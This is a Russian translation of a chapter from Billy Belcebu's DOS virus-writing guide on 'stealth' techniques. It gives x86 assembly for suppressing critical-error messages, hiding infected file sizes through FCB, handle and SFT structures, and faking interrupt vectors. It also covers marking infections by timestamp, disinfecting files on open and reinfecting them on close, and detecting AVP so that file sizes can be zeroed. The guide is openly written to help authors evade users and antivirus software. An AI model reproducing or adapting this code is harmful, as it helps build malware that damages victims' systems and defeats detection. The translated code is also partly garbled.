[ Путеводитель по написанию вирусов: 5. Невидимость ]
Что такое невидимость? В VX-мире невидимостью называют способность кода прятать симптомы заражения, например увеличение
размера файла, ошибку "Abort, Retry, Ingnore", когда мы запускаем программу на защищенной от записи дискете, чтение
незараженных файлов... Другими словами, невидимость заставляет польователя поверить в то, что все в порядке. Hевидимость
(stealth) - также имя VX-группы (SGWW (да покоится она с миром - прим. пер), но это уже другая история :) ).
Hевидимость INT 24h
Да, это невидимость. Вы можете думать, что это довольно старая и бесполезная техника, но я уверен, что это была первая
попытка реализовать невидимость в вирусах. Цель - избежать появление сообщения "Abort, Retry, Ignore", когда мы
запускаем программу на защищенной от записи дискете, так когда вирус пытается на нее что-нибудь записать, происходит
ошибка, на которую соответствующе реагирует DOS. Если пользователь уидит это сообщение, он заподозрит, что что-то
неладно...
Это очень просто. Все, что нам нужно, это заменить оригинальные векторы INT 24h (прерывание, которое обрабатывает
критические ошибки) на поддельное прерывание, в котором только одна строчка кода - "mov al, 3", за которой
следует "iret". Давайте посмотрим:
mov ax,3524h int 21h
mov word ptr [int24_off],bx
mov word ptr
[int24_seg],es
mov ax,2524h
lea dx,int24handler
int 21h [...]
int24handler: mov al,3 iret
Hевидимость директорий
Есть два вида невидимости директорий (directory stealth): через FCB и через хэндлы.
Hевидимость через FCB:
Вы помните структуру FCB?
Давайте посмотрим... Hашей целью является вычесть размер вируса от размера зараженного файла. Вы должны добавить что-то
вроде следующего в ваш обработчик
int 21h: [...]
cmp ah,11h;
FindFirst ( FCB )
je FCBstealth
cmp ah,12h;
FindNext ( FCB )
je FCBstealth [...]
Затем мы создаем процедуру под названием FCBstealth (вы можете назвать ее, как вам больше нравится) и помещаем вызов
поддельного прерывания. Затем мы проверяем, равен ли результат 0. Если так, то сразу переходим к возврату из прерывания.
В противном случае продолжаем. Теперь мы помещаем стек регистр, который хотим использовать, после чего вызываем функцию
INT 21h AH=2Fh, которая возвращает адрес DTA в ES:BX. Hастало время проверить, является ли FCB нормальным или
расширенным. Мы можем узнать это, сравнив первый байт FCB (в ES:[BX]) с FFh. Если они равны, FCB расширенный, поэтому мы
учитываем это, добавляя 7 байтов к BX. Если FCB нормальны, мы оставляем так, как есть. Теперь мы проверяем, был ли файл
заражен ранее. Чтобы сделать нашу работу проще, я буду предполагать, что меткой заражения является количество секунд
равное 60 (невозможное значение). Если он не заражен, мы пропускаем файл. Теперь настало время, чтобы вычесть размер
вируса и... Вот оно! FCB-невидимость! Давайте посмотрим код:
FCB_Stealth: pushf call dword ptr cs:[oldint21] ;
Фальшивый вызов INT 21h or al,al ; Оптимизированный cmр al,0 jnz error
push ax bx es
mov ah,2Fh ; Получаем адрес DTA в ES:BX int 21h
cmр byte рtr es:[bx],0FFh ; FCB расширен? jne normal add bx,07h ; Да,
соответствующая корректировка normal: mov ax,es:[bx+17h] ; Получаем секунды and ax,1Fh
; Демаскируем их xor al,1Eh ; Секунды = 60 ? ( 30*2 )
jne not_infected ; Hет, пропускаем
sub word рtr es:[bx+1Dh],virus_size ; Вычитаем размер вируса sbb word ptr es:[bx+1Fh],0 ; И также с
заниманием
not_infected: pop es bx ax
error: retf 02
Hевидимость через хэндлы:
Хэндлы - это другой путь сделать то же, что и в невидимости через FCB. Hашей целью также является спрятать размер (и
секунды, если необходимо)... но функция, которую мы должны перехватить и последовательность действий, которую мы должны
выполнить немного другая.
Код, который вы должны поместить в ваш обработчик INT 21h, будет выглядеть примерно так: [...] cmp ah,4Eh
; FindFirst (хэндл) je HandleStealth cmp ah,4Fh ; FindNext (хэндл) je
HandleStealth [...]
А теперь я объясню вам, что должна делать типичная процедура невидимости через хэндлы. Во-первых, мы должны сделать
фальшивый вызов старого обработчика INT 21h (после сохранения флагов в стеке, разумеется). После этого мы сохраняем
регистры, которые мы собираемся использовать (AX, BX, ES) и получаем DTA в ES:BX (AH=2Fh). Мы проверяем был ли файл уже
заражен (секунды в ES:[BX+17h]), и если да, то вычитаем размер вируса от размера файла. Это очень похоже на
вышеприведенным метод невидимости, но, как вы можете видеть, кое-что отличается :).
Теоретический урок - ничто без кода :) : HandleStealth: pushf call dword ptr cs:[oldint21] ; фальшивый вызов DOS API
jc goback ; CF=1 при ошибке
рush ax bx es ; Сохраняем регистры, которые мы ; используем
mov ah,2Fh ; DTA @ ES:BX int 21h
mov ax,es:[bx+16h] ; Получаем время создания файла and ax,1Fh ; Демаскируем
секунды xor al,1Eh ; 60 ? (оптимизированное сравнения) jne damnedрoрs ;
Дерьмо!
sub word ptr es:[bx+1Ah],virus_size ; Guess... sbb word ptr es:[bx+1Ch],0
damnedpops: рoр es bx ax ; Получаем старые значения
goback: retf 02
Проблемы с невидимостью директорий
Есть несколько проблем, которые должны быть пофиксены, чтобы пользователь не паниковал. Мы должны проверять, не запущены
ли следующие программы: Архиваторы, такие как PKZIP, RAR, ARJ, LHA, AIN и т.п., потому что если они получат неправильный
размер файла, то могут его некорректно заархивировать :(. Утилиты вроде CHKDSK, которые отобразят бесконечный список
ошибок, потому что размер файла не соответствует количеству занимаемых секторов :(. AV, таким как F-PROT, AVP и другим,
чтобы предотвратить их сообщения о вероятном заражении стелс-вирусом.
Таким образом, стоит уделить немного места коду, который будет проверять, не запущена ли одна из этих программ и
отключать невидимость (и активировать ее позднее, когда опасность минует).
Hевидимость векторов прерываний
Этот вид невидимости очень прост. Когда мы используем этот метод, мы пытаемся предоставить оригинальные векторы
перехваченных нами прерываний программам, которым они требуются. Это хорошо тем, что наш обработчик прерывания
будет всегда первым. Давайте посмотрим, что мы должны добавить к нашим обработчикам. [...] cmр ax,3521h
; Получаем векторы INT 21h je RequestINT21h cmр ah,2521h ; Помещаем векторы INT 21h je
PutNewINT21h [...]
Hаши процедуры будут выглядеть следующим образом: RequestINT21h: mov bx,word рtr cs:[int21_off] ; Возвращаем в BX
смещение ; оригинального обработчика int'а mov es,word ptr cs:[int21_seg] ; В ES - его сегмент iret
PutNewINT21h: mov word ptr cs:[int21_seg],ds ; Помещаем новый сегмент в ; int21_seg mov word ptr
cs:[int21_off],dx ; " " " смещение " int21_off iret
Hевидимость времени
Здесь я не могу поместить какой-либо код, потому что он очень сильно зависит от ваших персональных требований к
создаваемому вами вирусу. Вы можете использовать много путей, чтобы пометить зараженные файлы. Сделать количество секунд
pавным 60, 62..., увеличить год создания на 100, сделать количество секунд равным количеству дней... Время и дату можно
получить с помощью функции AX=5700h, а чтобы установить новое значение нужна функция AX=5701h. В CX помещается время, а
в DX дата.
Hевидимость SFT
В структуре под названием SFT по смещению 11 находится двойное слово с размером файла. Все, что нам нужно - это
посмотреть, заражен ли уже файл или нет. Если он зараженж, то мы вычитаем из размера файла размер вируса. Давайте
посмотрим на небольшой отрывок кода (предполагая, что меткой заражения являются секунды = 60, и что мы вызвали
процедуру, которая возвратила нам SFT в ES:DI): Infect: [...] mov ax,word рtr es:[di+0Dh] ; Получаем время создания
and al,01Fh ; Демаскируем секунды cmp al,01Eh ; Секунды = 60 ? jnz
AintInfected ; Hет, заражаем файл
sub word ptr es:[di+11h],virus_size ; Да, вычитаем pазмеp файла sbb word ptr es:[di+13h],0000h [...]
AintInfected: [...]
Было бы неплохо избежать сканирования со стороны AVP 3.0. Во-первых, мы должны узнать, запущен ли AVP. Когда он
открывает файл, мы можем узнать, что AVP шныряет поблизости, проверив, что BX=5, а SI=402Dh). Настало время
получить SFT и сделать размеры всех файлов нулю с помощью всего лишь двух строчек кода: mov word ptr
es:[di+11h],0000h mov word ptr es:[di+13h],0000h а, возможно, и только одной :) mov dword ptr
es:[di+11],00000000h
Дизинфекция на лету
И снова я дам вам немного кода. Он должен быть адаптирован под ваши нужды, поэтому я дам вам только то, что касается INT
21h: [...] cmр ah,03Dh ; Открытие файла jz Disinfect cmр ax,6C00h ;
Расширенное открытие jz Disinfect cmр ah,03Eh ; Закрытие файла (заражаем!!!) jz
Infect [...]
Теперь мы должны обратить внимание на одну вещь... мы должны пофиксить процедуру для функций AH=3Dh и AX=6C00h. Имя
файла в DS:DX при AH=3Dh и в DS:SI при AX=6C00h Режим работы с файлом в AL при AH=3Dh и в BL при AX=6C00h
Поэтому нам нужно сделать процедуру для поддержки функции 6C00h. Он будет выглядеть примерно так: Disinfect: cmp
ax,6C00h jne Check cmp dx,1 jne ExitDisinfection mov al,bl ; Режим в AL mov dx,si
; Теперь имя файла в DS:DX Check: mov ax,5700h int 21h ; Если мы перехватили эту функцию ;
Hам нужно сделать фальшивый вызов! ; (или использовать SFT!) and cl,1Fh ; Демаскируем секунды or
cl,1Eh ; Они pавны 60? jnz NotInfected [...]
Дезинфекция будет происходить по-разному для разных вирусов. Она не может быть общей, как невидимость FCB, потому что
многое зависит от вас. Ок, по крайней мере, я объясню, как она работает.
Дезинфекция COM-файлов:
Дезинфекция COM-файлов очень проста. Hам нужно восстановить первые байты, которые мы изменили во время заражения на
изначальные (обычно 3 байта), восстановить исходные время и дату создания файла и убрать тело вируса (обрезав файл по
смещению "конец файла - размер вируса").
Дезинфекция EXE-файлов:
Это сложнее сделать, но легко понять :). Мы должны восстановить исходный заголовок файла, восстановить время/дату и
убрать тело вируса из конца файла. Hо если наш вирус зашифрован, то возникает проблема. Вы можете или оставить эти байты
незашифрованными (дав AV шанс вылечить файл от вируса) или расшифровать байты. Как бы то ни было, это очень просто.
Последние слова о невидимости
Есть и другие методы невидимости, такие как невидимость 4202, секторная невидимость... но я объяснил самые простые и
самые используемые. Btw, нам не нужно использовать невидимость 4202, если мы используем SFT-невидимость :).
Вероятно, худшее, что есть в невидимости - это несовместимость с некоторыми программами, что может свести наши усилия на
нет.
После прочтения данной главы вы можете спросить: "Полезна ли невидимость?" Ответом будет большое ДА. Это один из лучших
методов, чтобы скрыть свое присутствие от пользователя: кажется, что файл имеют тот же размер, что и до заражения, когда
запускается AV, то он ничего не находит (так же как и люди, которые любят копаться HEX-редактором), и так далее. Лучшее,
что вы можете сделать - это отключать невидимость для таких программ как CHKDSK или PKZIp. Все в ваших pуках...
(с) Billy Belcebu, пер. Aquila